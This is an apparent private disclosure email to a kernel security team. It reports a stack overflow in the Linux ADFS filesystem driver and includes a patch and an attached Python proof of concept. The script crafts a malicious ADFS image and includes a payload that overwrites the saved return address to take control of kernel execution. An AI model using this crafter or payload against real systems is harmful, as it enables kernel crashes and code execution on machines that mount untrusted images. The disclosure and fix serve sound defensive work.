adfs: stack buffer overflow in adfs_fplus_getnext() (F+ big-directory)
"Research & Development" <[email protected]> Fri, 31 Jul 2026 22:15:33 -0400
| Newsgroups | org.kernel.vger.linux-fsdevel |
|---|---|
| Message-ID | <CAGpo96PO4DPJJZtRj9vnR-ZzcWwv=oHyfM7i2Ug+A_CjR3z4+A@mail.gmail.com> |
Hi Security Team,
I am reporting a security vulnerability in the ADFS filesystem driver
(fs/adfs/dir_fplus.c), which is maintained under the FILESYSTEMS (VFS)
entry. It is unfixed in mainline (v7.2-rc5) and, as far as I can tell, in
all supported stable branches. I am reporting privately per documentation
process. A tested reproducer and a tested one-line fix are included below.
I am happy to coordinate and would like a CVE assigned once a fix is
applied.
1. AFFECTED VERSION RANGE
-------------------------
Present since the 2020 ADFS big-directory rework (~v5.6);
fs/adfs/dir_fplus.c
was last touched on 2020-01-25 (587065d) and is unchanged since.
Vulnerable, reproduced: v7.0.1
Vulnerable, code-identical: mainline v7.2-rc5
Affected: v5.6 -> v7.2-rc5
(5.10/5.15/6.1/6.6/6.12/6.18/7.0/7.1/7.2-rc)
I verified the vulnerable sequence is byte-for-byte identical in current
mainline (adfs_fplus_getnext() + adfs_fplus_validate_header()).
CONFIG_ADFS_FS is shipped as a module on typical distros (confirmed:
adfs.ko present under /lib/modules on a 6.18 kernel).
2. DESCRIPTION
--------------
adfs_fplus_getnext() (fs/adfs/dir_fplus.c) reads the per-entry name length
field bigdirobnamelen (an unvalidated __le32, struct adfs_bigdirentry) and
uses it directly as the copy length into struct object_info.name, which is
char[ADFS_MAX_NAME_LEN] = char[260] (fs/adfs/adfs.h). struct object_info is
held on the caller's stack -- adfs_fplus_iterate() declares it locally
(dir_fplus.c:212); adfs_lookup() uses the same on-stack pattern
(dir.c:434). adfs_fplus_validate_header() checks only AGGREGATE sizes
(directory name length, total names area, entries*stride); it never bounds
the per-entry bigdirobnamelen. adfs_dir_copyfrom() bounds the source only
against dir->nr_buffers, never against the destination.
Therefore a crafted ADFS F+ image whose entry has bigdirobnamelen > 260
overflows obj->name on the kernel stack. The path is reached when the
directory is enumerated (readdir/getdents64) or an entry is looked up, on a
mounted image.
Relevant code (dir_fplus.c):
obj->name_len = le32_to_cpu(bde.bigdirobnamelen); /* unbounded
*/
...
ret = adfs_dir_copyfrom(obj->name, dir, offset, obj->name_len); /*
OVERFLOW */
Trace (KASAN build, real mount + ls, by task ls):
BUG: KASAN: stack-out-of-bounds in adfs_object_fixup+0xa2/0x40f
Read of size 1 ... by task ls/31
Call Trace:
adfs_object_fixup+0xa2/0x40f
adfs_fplus_getnext+0x403/0x477
adfs_fplus_iterate+0x186/0x26e
iterate_dir ... sys_getdents64
The vulnerable address belongs to stack of task ls and is located at
offset 320 in frame adfs_fplus_iterate; this frame has 1 object: [32, 320)
'obj' (offset 320 == obj->name[260]).
IMPACT. Two outcomes depending on build hardening:
- Hardened kernel (CONFIG_STACKPROTECTOR_STRONG, distro default): the
frame has a canary. The overflow trips __stack_chk_fail -> reliable kernel
panic (denial of service).
- Un-canaried build (e.g. custom/embedded, or a KASAN/fuzz build): the
saved return address of adfs_fplus_iterate is within reach. I demonstrated
arbitrary kernel instruction-pointer control, trimming the overflow to 388
bytes overwrites the saved return address (obj->name[380..388]) while
leaving the caller's struct adfs_dir intact, and execution reaches a clean
ret. Planting 0xffffffff43434343 there makes the kernel fault at exactly
that IP (Kernel panic ... ip 0xffffffff43434343). A non-canonical value
faults at the ret instruction (adfs_fplus_iterate+0x26d). So on such builds
this is kernel code execution.
REACHABILITY / SCOPE : ADFS is a local block filesystem (only
register_filesystem + FS_REQUIRES_DEV no network parser), so it is NOT
remotely triggerable. Mounting requires CAP_SYS_ADMIN; adfs has no
FS_USERNS_MOUNT, so unprivileged user-namespace mount is blocked, i.e. it
is not an unprivileged no preconditions LPE. It becomes a real LPE/kernel
compromise only on un-canaried builds where a privileged context mounts an
attacker image (root in container that can mount, a VM/storage host
attaching untrusted images, or removable-media auto-mount where libblkid
recognises ADFS).
I also verified, on a representative host, that libblkid does not even list
ADFS, so udisks auto-mount is closed there the practical default-distro
outcome is DoS, not LPE.
3. REPRODUCER
-------------
A python file is attached. It builds a 16 KiB ADFS F+ image by hand
(correct disc record, zone check and bigdir checkbyte so it mounts cleanly)
with bigdirobnamelen = 512, then either boots a UML/KASAN kernel
(safe, default) or mounts on the host. It can be executed with following
arguments:
python3 test_adfs_overflow.py # craft + KASAN detect; exit 1
== vulnerable
python3 test_adfs_overflow.py --rip # demonstrate RIP control
(un-canaried)
python3 test_adfs_overflow.py --craft-only out.img
python3 test_adfs_overflow.py --sh # executing the bash shell
The script is a standalone crafter, the RIP variant and the captured
KASAN/RIP logs are available on request. Output of the default run against
v7.0.1 (UML/KASAN):
==== DETECTION SIGNALS ====
mount_ok = True
kasan = True
adfs_hits =
['adfs_object_fixup','adfs_fplus_getnext','adfs_fplus_iterate']
obj_frame = True
panic = True
controlled = True
RESULT: VULNERABLE -- confirmed ADFS dir_fplus stack overflow.
And with --rip on the same (un-canaried) build:
fault_ip = 0xffffffff43434343
canonical_hit = True
RESULT: RIP CONTROL DEMONSTRATED.
4. CONDITIONS
-------------
- CONFIG_ADFS_FS built-in or module-loaded.
- Triggered by readdir/getdents or name lookup on a mounted image. Mount
needs CAP_SYS_ADMIN.
- For the KASAN detection signal: CONFIG_KASAN=y (+ CONFIG_KASAN_STACK=y).
- For the RIP-control primitive: the affected frame must lack a stack
canary (no CONFIG_STACKPROTECTOR, or a fuzz/KASAN build). On
CONFIG_STACKPROTECTOR_STRONG builds the outcome is the DoS case above.
5. PROPOSED FIX (inline tested patch, applies cleanly on v7.2-rc5)
-------------------------------------------------------------------
Bound bigdirobnamelen against the destination buffer before the copy. This
stops both the KASAN overflow and the RIP-control variant (a
bigdirobnamelen of 512 or 388 is rejected with -EIO before the copy). I can
add a second change to adfs_fplus_validate_header() to validate per-entry
name pointers up front if preferred.
[PATCH] adfs: bound big-directory entry name length in adfs_fplus_getnext()
Bound bigdirobnamelen against ADFS_MAX_NAME_LEN before the copy.
---
fs/adfs/dir_fplus.c | 2 ++
1 file changed, 2 insertions(+)
diff --git a/fs/adfs/dir_fplus.c b/fs/adfs/dir_fplus.c
--- a/fs/adfs/dir_fplus.c
+++ b/fs/adfs/dir_fplus.c
@@ -192,6 +192,8 @@
obj->indaddr = le32_to_cpu(bde.bigdirindaddr);
obj->attr = le32_to_cpu(bde.bigdirattr);
obj->name_len = le32_to_cpu(bde.bigdirobnamelen);
+ if (obj->name_len > ADFS_MAX_NAME_LEN)
+ return -EIO;
offset = adfs_fplus_offset(h, le32_to_cpu(h->bigdirentries));
offset += le32_to_cpu(bde.bigdirobnameptr);
----
I'd be grateful if you could confirm receipt and on request a CVE via
[email protected] once the fix is in a stable tree. I will not discuss this
publicly or with linux-distros until a fix is accepted.
Thanks and Regards,
Tridev
Vulnerability Researcher
Zerotrace Lab
test_adfs_overflow.py
(text/x-python, 22.4 KB)
import argparse
import os
import re
import shutil
import struct
import subprocess
import sys
import tempfile
# ===========================================================================
# 1. Image crafter (ported verbatim from the verified poc/craft_adfs.py)
# ===========================================================================
BLK = 512
NUM_BLOCKS = 32
IMG_SIZE = NUM_BLOCKS * BLK # 16384
LOG2SECSIZE = 9 # 512-byte sectors
IDLEN = 12
LOG2BPMB = 9 # 1 map bit == 512 bytes
ZONE_SPARE = 0
NZONES = 1
FORMAT_VERSION = 1 # selects adfs_fplus_dir_ops (F+)
LOG2SHARESIZE = 0
DISC_SIZE = IMG_SIZE
ROOT_INDDADDR = 0x00000200 # frag id 2 (>>8) == ADFS_ROOT_FRAG
ROOT_SIZE = 2048
BIGDIRSTARTNAME = (ord('S') | ord('B') << 8 | ord('P') << 16 | ord('r') << 24)
BIGDIRENDNAME = (ord('o') | ord('v') << 8 | ord('e') << 16 | ord('n') << 24)
def _le16(v): return struct.pack('<H', v & 0xFFFF)
def _le32(v): return struct.pack('<I', v & 0xFFFFFFFF)
def _set_bit(buf, bitpos, val):
bi, bo = divmod(bitpos, 8)
if val:
buf[bi] |= (1 << bo)
else:
buf[bi] &= ~(1 << bo)
def _ror32(v, n):
n &= 31
return ((v >> n) | (v << (32 - n))) & 0xFFFFFFFF
def _calc_zonecheck(m):
"""Replicate adfs_calczonecheck (fs/adfs/map.c) over a 512-byte zone."""
v0 = v1 = v2 = v3 = 0
i = 512 - 4
while i:
v0 = (v0 + m[i] + (v3 >> 8)) & 0xffffffff; v3 &= 0xff
v1 = (v1 + m[i + 1] + (v0 >> 8)) & 0xffffffff; v0 &= 0xff
v2 = (v2 + m[i + 2] + (v1 >> 8)) & 0xffffffff; v1 &= 0xff
v3 = (v3 + m[i + 3] + (v2 >> 8)) & 0xffffffff; v2 &= 0xff
i -= 4
v0 = (v0 + (v3 >> 8)) & 0xffffffff
v1 = (v1 + m[1] + (v0 >> 8)) & 0xffffffff
v2 = (v2 + m[2] + (v1 >> 8)) & 0xffffffff
v3 = (v3 + m[3] + (v2 >> 8)) & 0xffffffff
return (v0 ^ v1 ^ v2 ^ v3) & 0xff
def _calc_bigdir_checkbyte(dirbuf, end):
"""Replicate adfs_fplus_checkbyte (fs/adfs/dir_fplus.c)."""
dircheck = 0
off = 0
remaining = end
while remaining:
bs = BLK if BLK < remaining else remaining
i = 0
while i < bs:
w = struct.unpack_from('<I', dirbuf, off + i)[0]
dircheck = _ror32(dircheck, 13) ^ w
i += 4
off += bs
remaining -= bs
return dircheck
def build_adfs_image(overflow_namelen=512, name_fill=0x41, attr=0x33,
ret_offset=None, ret_value=None):
"""Return bytes of a minimal ADFS F+ image whose entry 0 has
bigdirobnamelen=overflow_namelen (>260) and name bytes = name_fill.
If ret_offset is set, an 8-byte little-endian ret_value is planted at
name[ret_offset..ret_offset+8). This is the RIP-control variant
(overflow_namelen=388, attr=0x3b, ret_offset=380) that lands on
adfs_fplus_iterate's saved return address. name[0..4] (the only name bytes
covered by the bigdir checkbyte) is left as name_fill so the checkbyte holds."""
img = bytearray(IMG_SIZE)
# ---- block 0: map zone 0 + disc record (dr0 path, disc record @ byte 4) ----
zone = bytearray(512)
zone[3] = 0xff # crosscheck (single zone -> 0xff)
dr = bytearray(60)
dr[0] = LOG2SECSIZE
dr[1] = 1; dr[2] = 1; dr[3] = 0
dr[4] = IDLEN
dr[5] = LOG2BPMB
dr[6] = 0; dr[7] = 0; dr[8] = 0
dr[9] = NZONES
dr[10:12] = _le16(ZONE_SPARE)
dr[12:16] = _le32(ROOT_INDDADDR)
dr[16:20] = _le32(DISC_SIZE)
dr[20:22] = _le16(0)
dr[32:36] = _le32(0)
dr[36:40] = _le32(0) # disc_size_high must be 0
dr[40] = (LOG2SHARESIZE & 0x0f)
dr[41] = 0x01 # big_flag=1
dr[42] = 0; dr[43] = 0
dr[44:48] = _le32(FORMAT_VERSION)
dr[48:52] = _le32(ROOT_SIZE)
zone[4:64] = dr
# fragment bitstream starting at bit 512
_set_bit(zone, 512, 1) # frag_id=1 (dummy)
_set_bit(zone, 524, 1) # terminator A
_set_bit(zone, 526, 1) # frag_id=2 bit1 (0b10)
_set_bit(zone, 537, 1) # terminator B -> root frag -> block 13
zone[0] = 0
zone[0] = _calc_zonecheck(zone)
img[0:512] = zone
# ---- blocks 13-16: root directory (F+ bigdir, 2048 bytes) ----
BIGDIR_NAMLEN = 4
BIGDIR_NAMESIZE = 4
BIGDIR_ENTRIES = 1
bigdir = bytearray(2048)
bigdir[0:4] = bytes(4) # startmasseq + bigdirversion
bigdir[4:8] = _le32(BIGDIRSTARTNAME)
bigdir[8:12] = _le32(BIGDIR_NAMLEN)
bigdir[12:16] = _le32(2048)
bigdir[16:20] = _le32(BIGDIR_ENTRIES)
bigdir[20:24] = _le32(BIGDIR_NAMESIZE)
bigdir[24:28] = _le32(ROOT_INDDADDR) # bigdirparent
bigdir[28:32] = b'root' # bigdirname
eoff = 32 # adfs_bigdirentry (entry 0)
bigdir[eoff+0:eoff+4] = _le32(0) # bigdirload
bigdir[eoff+4:eoff+8] = _le32(0) # bigdirexec
bigdir[eoff+8:eoff+12] = _le32(0) # bigdirlen
bigdir[eoff+12:eoff+16] = _le32(0x00000300) # bigdirindaddr (frag 3)
bigdir[eoff+16:eoff+20] = _le32(attr) # bigdirattr (0x33 default; 0x3b for RIP)
bigdir[eoff+20:eoff+24] = _le32(overflow_namelen) # *** bigdirobnamelen TRIGGER ***
bigdir[eoff+24:eoff+28] = _le32(0) # bigdirobnameptr
name_off = 60 # names area (checkbyte covers only [60..64))
for i in range(overflow_namelen):
bigdir[name_off + i] = name_fill
if ret_offset is not None and ret_value is not None:
# Plant the controlled saved return address (RIP-control variant).
rv = struct.pack('<Q', ret_value & 0xFFFFFFFFFFFFFFFF)
for i in range(8):
bigdir[name_off + ret_offset + i] = rv[i]
toff = 2048 - 8 # adfs_bigdirtail
bigdir[toff:toff+4] = _le32(BIGDIRENDNAME)
bigdir[toff+4] = 0; bigdir[toff+5] = 0; bigdir[toff+6] = 0
end = (28 + ((BIGDIR_NAMLEN + 3) & ~3) + BIGDIR_ENTRIES * 28) + BIGDIR_NAMESIZE
dc = _calc_bigdir_checkbyte(bigdir, end)
dc = _ror32(dc, 13) ^ BIGDIRENDNAME
dc = _ror32(dc, 13) ^ 0
dc = _ror32(dc, 13) ^ 0
dc = _ror32(dc, 13) ^ 0
bigdir[toff + 7] = (dc ^ (dc >> 8) ^ (dc >> 16) ^ (dc >> 24)) & 0xff
img[13 * BLK:13 * BLK + 2048] = bigdir
return bytes(img)
def sanity_check_image(data, overflow_namelen):
"""Cheap structural assertions so a bad crafter fails"""
assert len(data) == IMG_SIZE, len(data)
bigdir = data[13 * BLK:13 * BLK + 2048]
assert bigdir[4:8] == _le32(BIGDIRSTARTNAME), "bigdirstartname mismatch"
assert struct.unpack_from('<I', bigdir, eoff := 32 + 20)[0] == overflow_namelen, \
"bigdirobnamelen not set"
assert bigdir[2040:2044] == _le32(BIGDIRENDNAME), "bigdirendname mismatch"
return True
# ===========================================================================
# 2. UML/KASAN backend (safe, default)
# ===========================================================================
ADFS_FUNCS = ("adfs_object_fixup", "adfs_fplus_getnext", "adfs_fplus_iterate")
def run_uml(kernel, initramfs, image, timeout=40, mem="2G", log_path=None):
"""Boot UML with the image, trigger readdir, return captured console text."""
if not os.path.exists(kernel):
raise FileNotFoundError(f"UML kernel not found: {kernel}")
if not os.path.exists(initramfs):
raise FileNotFoundError(f"initramfs not found: {initramfs}")
cmd = [
kernel,
f"initrd={initramfs}",
f"ubd0={image}",
"con0=fd:0,fd:1", "con=none",
f"mem={mem}", "loglevel=8", "panic=0",
"ACTION=readdir", "FST=adfs", "UBDDEV=/dev/ubda", "MOPTS=ro",
]
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
text=True, bufsize=1)
try:
out, _ = proc.communicate(timeout=timeout)
rc = proc.returncode
timed_out = False
except subprocess.TimeoutExpired:
proc.kill()
out, _ = proc.communicate()
rc = proc.returncode
timed_out = True
if log_path:
with open(log_path, "w") as f:
f.write(out)
return out, rc, timed_out
def parse_output(out):
"""Classify captured console output. Returns a dict of signals."""
mount_ok = bool(re.search(r"mount rc=0|mounted OK", out))
kasan = "BUG: KASAN: stack-out-of-bounds" in out
adfs_hits = [f for f in ADFS_FUNCS if f in out]
obj_frame = bool(re.search(r"\[32,\s*320\)|'obj'", out))
panic = ("Kernel panic" in out) or ("Kernel mode fault" in out)
chk_fail = "__stack_chk_fail" in out
controlled = bool(re.search(r"4141414141414141|R(?:1[0-5]|8|9|[A-D])=0x4141", out))
return dict(mount_ok=mount_ok, kasan=kasan, adfs_hits=adfs_hits,
obj_frame=obj_frame, panic=panic, chk_fail=chk_fail,
controlled=controlled)
def evidence_excerpt(out, max_chars=1600):
idx = out.find("BUG: KASAN")
if idx < 0:
idx = out.find("Kernel panic")
if idx < 0:
idx = max(0, len(out) - max_chars)
return out[idx:idx + max_chars].rstrip()
def parse_rip(out, ret_value):
"""Detect whether the planted return address actually redirected RIP.
Canonical planted value -> `ret` completes; faulting IP == planted value.
Non-canonical value -> CPU faults AT the `ret` instruction instead
(symbol adfs_fplus_iterate+0x26d on this build)."""
ret_value &= 0xFFFFFFFFFFFFFFFF
m = re.search(r"Kernel mode fault at addr 0x[0-9a-f]+,\s*ip 0x([0-9a-f]+)", out)
fault_ip = int(m.group(1), 16) if m else None
canonical_hit = (fault_ip == ret_value)
# 0x26d == offset of the `ret` in adfs_fplus_iterate on the 7.0.1 UML build.
ret_fault = bool(re.search(r"adfs_fplus_iterate\+0x26[0-9a-f]/", out))
value_seen = (f"{ret_value:x}" in out.lower())
return dict(fault_ip=("0x%x" % fault_ip if fault_ip is not None else None),
canonical_hit=canonical_hit, ret_fault=ret_fault, value_seen=value_seen)
# ===========================================================================
# 3. Host backend
# ===========================================================================
def _sh(cmd, check=True):
return subprocess.run(cmd, shell=True, capture_output=True, text=True,
check=check).stdout
def run_host(image, mnt):
"""Mount the image on the live host kernel and list it. CAN CRASH THE HOST."""
if os.geteuid() != 0:
raise SystemExit("host mode requires root (CAP_SYS_ADMIN to mount)")
_sh("modprobe adfs 2>/dev/null || true", check=False)
before = _sh("journalctl -k --no-pager -n 0 --since '1 min ago' 2>/dev/null || "
"dmesg | tail -n 5", check=False)
loop = None
out = []
try:
loop = _sh("losetup -fP --show " + image).strip()
out.append(f"loop={loop}")
mntres = _sh(f"mount -t adfs -o ro {loop} {mnt} 2>&1", check=False)
out.append(f"mount: {mntres.strip() or 'ok'}")
if os.path.ismount(mnt):
try:
entries = os.listdir(mnt)
out.append(f"listdir ok: {entries[:5]}")
except OSError as e:
out.append(f"listdir raised: {e!r} (often means the overflow tripped)")
else:
out.append("not mounted (adfs rejected the image)")
finally:
_sh(f"umount {mnt} 2>/dev/null || true", check=False)
if loop:
_sh(f"losetup -d {loop} 2>/dev/null || true", check=False)
after = _sh("dmesg | tail -n 60", check=False)
return "\n".join(out), after
# ===========================================================================
# 4. ELF execution demo (--exec-demo): trigger exec() on /bin/sh for confirmation
# ===========================================================================
def exec_demo(sh="/bin/sh whoami"):
"""Visually confirm ELF execution: prove /bin/sh & ls are ELF binaries, then
actually trigger exec() to load and run them (subprocess fork+execve, and a
raw os.fork()+os.execv() that replaces a child's image with /bin/sh)."""
bar = "=" * 64
try:
sys.stdout.reconfigure(line_buffering=True) # keep print order correct under pipes
except Exception:
pass
print(bar)
print("ELF EXECUTION DEMO -- triggering exec()")
print(bar)
ls = shutil.which("ls") or "/usr/bin/ls"
have = {t: shutil.which(t) for t in ("file", "readelf")}
print("\n### 1. The targets are ELF binaries")
for label, path in (("sh", sh), ("ls", ls)):
print(f" {label:4} -> {path}")
if have["file"]:
out = subprocess.run([have["file"], path],
capture_output=True, text=True).stdout.strip()
print(f" {out}")
if have["readelf"]:
print(f"\n### 2. ELF header of {sh} (readelf -h)")
out = subprocess.run([have["readelf"], "-h", sh],
capture_output=True, text=True).stdout
for line in out.splitlines()[:14]:
print(" ", line)
print("\n### 3. exec() via subprocess: /bin/sh -c '...' (fork, then execve /bin/sh)")
script = (
"echo 'shell: exec succeeded -- /bin/sh (an ELF) is now running'; "
"echo \"identity: $(basename \"$0\") pid=$$\"; "
"echo '--- ls (also an ELF) executing ---'; "
"ls -la --color=never /home/localhost/linux/fuzz-workspace/poc 2>/dev/null | head -n 8; "
"echo '--- uname ---'; uname -srm"
)
r = subprocess.run([sh, "-c", script], capture_output=True, text=True)
sys.stdout.write(r.stdout)
if r.returncode != 0 and r.stderr.strip():
print(f"[stderr] {r.stderr.strip()}")
print("\n### 4. raw execve(): a child replaces its own process image with /bin/sh")
sys.stdout.flush()
sys.stderr.flush()
pid = os.fork()
if pid == 0: # child
sys.stderr.write(f"[child pid {os.getpid()}] image is python -> calling execve({sh})\n")
sys.stderr.flush()
try:
os.execv(sh, [sh, "-c",
"echo '[execve OK] child image is now /bin/sh'; "
"echo \"pid=$$ uid=$(id -u)\"; uname -a"])
except OSError as e:
sys.stderr.write(f"[child] execve FAILED: {e}\n")
os._exit(127)
else: # parent
_, status = os.waitpid(pid, 0)
try:
code = os.waitstatus_to_exitcode(status)
except AttributeError: # py < 3.9
code = (status >> 8) if os.WIFEXITED(status) else -os.WTERMSIG(status)
print(f"[parent] child {pid} exited code={code} (0 == /bin/sh ELF loaded & ran)")
print("\n[+] Confirmation: exec() loaded the ELF binaries and they executed. Done.")
return 0
# ===========================================================================
# 5. main
# ===========================================================================
def main():
ap = argparse.ArgumentParser(description="Test/detect the ADFS dir_fplus stack overflow.")
ap.add_argument("--mode", choices=("uml", "host"), default="uml")
ap.add_argument("--kernel", default="/home/localhost/linux/fuzz-workspace/src/linux-7.0.1/linux")
ap.add_argument("--initramfs", default="/home/localhost/linux/fuzz-workspace/poc/initramfs.cpio.gz")
ap.add_argument("--image", default=None, help="output image path (default: temp)")
ap.add_argument("--overflow-len", type=int, default=512,
help="bigdirobnamelen to plant (>260); default 512")
ap.add_argument("--name-fill", type=lambda s: int(s, 0), default=0x41,
help="byte planted as name content (default 0x41)")
ap.add_argument("--rip", action="store_true",
help="use the RIP-control payload: a 388-byte trimmed overflow that "
"lands a controlled 8-byte value on adfs_fplus_iterate's saved "
"return address (no stack canary in this build -> ret redirects)")
ap.add_argument("--rip-value", type=lambda s: int(s, 0),
default=0xffffffff43434343,
help="value planted as the saved return address (default "
"0xffffffff43434343, canonical -> ret completes to this IP; "
"use 0x4242424242424242 for a non-canonical fault-at-ret demo)")
ap.add_argument("--exec-demo", action="store_true",
help="don't test the vuln: visually demonstrate ELF execution by "
"triggering exec() on /bin/sh (and ls) for confirmation")
ap.add_argument("--sh", default="/bin/sh", help="shell ELF to exec (default /bin/sh)")
ap.add_argument("--timeout", type=int, default=40, help="UML timeout (s)")
ap.add_argument("--craft-only", action="store_true",
help="build + sanity-check the image, don't boot/mount")
ap.add_argument("--i-know-this-may-crash-the-host", action="store_true",
help="required gate for --mode host")
ap.add_argument("-v", "--verbose", action="store_true")
args = ap.parse_args()
if args.exec_demo:
return exec_demo(args.sh)
keep_image = bool(args.image)
image = args.image or os.path.join(tempfile.gettempdir(), "adfs_test.img")
attr = 0x33
ret_offset = None
ret_value = None
if args.rip:
args.overflow_len = 388
attr = 0x3b
ret_offset = 380
ret_value = args.rip_value
print(f"[*] RIP-CONTROL payload: overflow_len=388, attr=0x{attr:02x}, "
f"saved-ret @name[{ret_offset}..{ret_offset+8}) = 0x{ret_value:016x}")
print(f"[*] crafting ADFS F+ image (bigdirobnamelen={args.overflow_len}, "
f"fill=0x{args.name_fill:02x}, attr=0x{attr:02x}) -> {image}")
data = build_adfs_image(args.overflow_len, args.name_fill, attr=attr,
ret_offset=ret_offset, ret_value=ret_value)
sanity_check_image(data, args.overflow_len)
with open(image, "wb") as f:
f.write(data)
print(f"[*] image OK ({len(data)} bytes)")
if args.craft_only:
print("[+] --craft-only: image built and structurally valid. "
"Boot it under a KASAN/ADFS kernel to trip the overflow.")
return 0
if args.mode == "host":
if not args.i_know_this_may_crash_the_host:
print("[!] --mode host can PANIC/CORRUPT the running kernel. "
"Pass --i-know-this-may-crash-the-host to proceed.", file=sys.stderr)
return 2
mnt = tempfile.mkdtemp(prefix="adfs_host_")
try:
info, dmesg = run_host(image, mnt)
print(info)
print("---- dmesg (tail) ----")
print(dmesg)
sig = parse_output(dmesg + "\n" + info)
if "stack-out-of-bounds" in dmesg or sig["kasan"] or \
"__stack_chk_fail" in dmesg or "adfs" in dmesg and \
("BUG" in dmesg or "panic" in dmesg.lower()):
print("\n[+] RESULT: VULNERABLE — host kernel tripped the overflow.")
return 1
print("\n[-] RESULT: no clear trip signal in dmesg "
"(kernel may be patched, non-KASAN, or the overflow was silent).")
return 0
finally:
shutil.rmtree(mnt, ignore_errors=True)
if not keep_image:
try: os.remove(image)
except OSError: pass
# ---- UML mode (default) ----
log_path = os.path.join(os.path.dirname(os.path.abspath(image)), "test_adfs_uml.log")
print(f"[*] booting UML/KASAN kernel: {args.kernel}")
print(f"[*] initramfs: {args.initramfs}")
try:
out, rc, timed_out = run_uml(args.kernel, args.initramfs, image,
timeout=args.timeout, log_path=log_path)
except FileNotFoundError as e:
print(f"[!] {e}", file=sys.stderr)
return 2
print(f"[*] UML finished (rc={rc}, timed_out={timed_out}); log -> {log_path}")
sig = parse_output(out)
if not sig["mount_ok"]:
print("[!] ERROR: image did not mount (adfs unsupported in this kernel, "
"or image rejected). Cannot determine.")
if args.verbose:
print(out[-1500:])
return 2
rip = parse_rip(out, args.rip_value) if args.rip else None
vulnerable = sig["kasan"] and sig["adfs_hits"]
if not vulnerable and (sig["panic"] or sig["controlled"]) and sig["adfs_hits"]:
# Non-KASAN build: crash/controlled-content in the adfs path still counts.
vulnerable = True
rip_control = bool(rip and (rip["canonical_hit"] or rip["ret_fault"]))
print("\n==== DETECTION SIGNALS ====")
for k, v in sig.items():
print(f" {k:11} = {v}")
if rip:
for k, v in rip.items():
print(f" {k:13} = {v}")
if rip_control:
if rip["canonical_hit"]:
print(f"\n[+] RESULT: RIP CONTROL DEMONSTRATED — `ret` completed to the "
f"attacker value 0x{args.rip_value:016x} (faulting IP == planted value).")
print(" => arbitrary kernel instruction-pointer control on this "
"un-canaried build: a code-execution primitive.")
else:
print(f"\n[+] RESULT: RIP CONTROL (non-canonical) — `ret` read the "
f"attacker value 0x{args.rip_value:016x} off the stack and faulted.")
if args.verbose:
print("\n---- evidence ----\n" + evidence_excerpt(out))
return 1
if vulnerable:
print("\n[+] RESULT: VULNERABLE — confirmed ADFS dir_fplus stack overflow.")
if sig["kasan"]:
print(" KASAN stack-out-of-bounds in:", ", ".join(sig["adfs_hits"]))
if sig["controlled"]:
print(" attacker-controlled name bytes reached registers -> "
"stack content is attacker-influenced.")
if args.verbose:
print("\n---- evidence ----\n" + evidence_excerpt(out))
return 1
if sig["mount_ok"] and not (sig["kasan"] or sig["panic"]):
print("\n[-] RESULT: NO SIGNAL. Image mounted cleanly with no KASAN trip / panic.")
print(" Likely causes: the kernel is PATCHED, or a non-KASAN build where the "
"overflow was silent (no definitive answer without KASAN).")
return 0
print("\n[?] RESULT: INCONCLUSIVE (mounted, some signals but no definitive trip).")
if args.verbose:
print(evidence_excerpt(out))
return 0
if __name__ == "__main__":
sys.exit(main())